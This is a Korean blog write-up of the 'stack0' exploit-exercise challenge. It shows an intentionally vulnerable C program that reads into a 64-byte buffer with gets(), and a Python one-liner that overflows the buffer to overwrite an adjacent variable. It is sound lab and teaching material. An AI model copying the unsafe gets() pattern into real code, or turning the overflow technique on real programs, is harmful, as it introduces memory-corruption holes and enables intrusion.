제시되어 있는 소스코드는 다음과 같다.


#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }


버퍼에는 int형 변수 modified 가 할당되어 있고

그 다음 64byte 배열이 선언되어있다.

이때 modified가 0이 아닐시 저 문구를 출력하고

0이면 Try again 을 출력한다.


즉 우리는 modified 변수에 들어있는 값 을 

0이 아닌 다른 수로 바꿔야 한다.


스택을 표현해보자면 다음과 같다


| --------------------------  |

| --------------------------  |

| ------char buffer--------- |

| --------------------------  |

| --------------------------  | 

| ------modified----------  |

| --------------------------  |

| --------------------------  |


이해를 돕기 위해 대충 그린점 이해해주길 바란다.


이제 Buffer Overflow 를 이용하여 modified 속에 있는 값을 바꿔보자





(python -c 'print"A"*64 + "\x30"';cat;) | ./stack0


※사진에 오타가 있다. 

위의 명령어를 입력해 주도록 하자.

A라는 문자 64 개를 버퍼에 넣어 배열을 채운 다음부터의 

영역이 바로 modified 변수 영역이다 


python 명령어를 통해 \x30이라는 임의의 값을 넣어주었다.





공격에 성공함을 확인할 수 있다.









'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack4  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09

+ Recent posts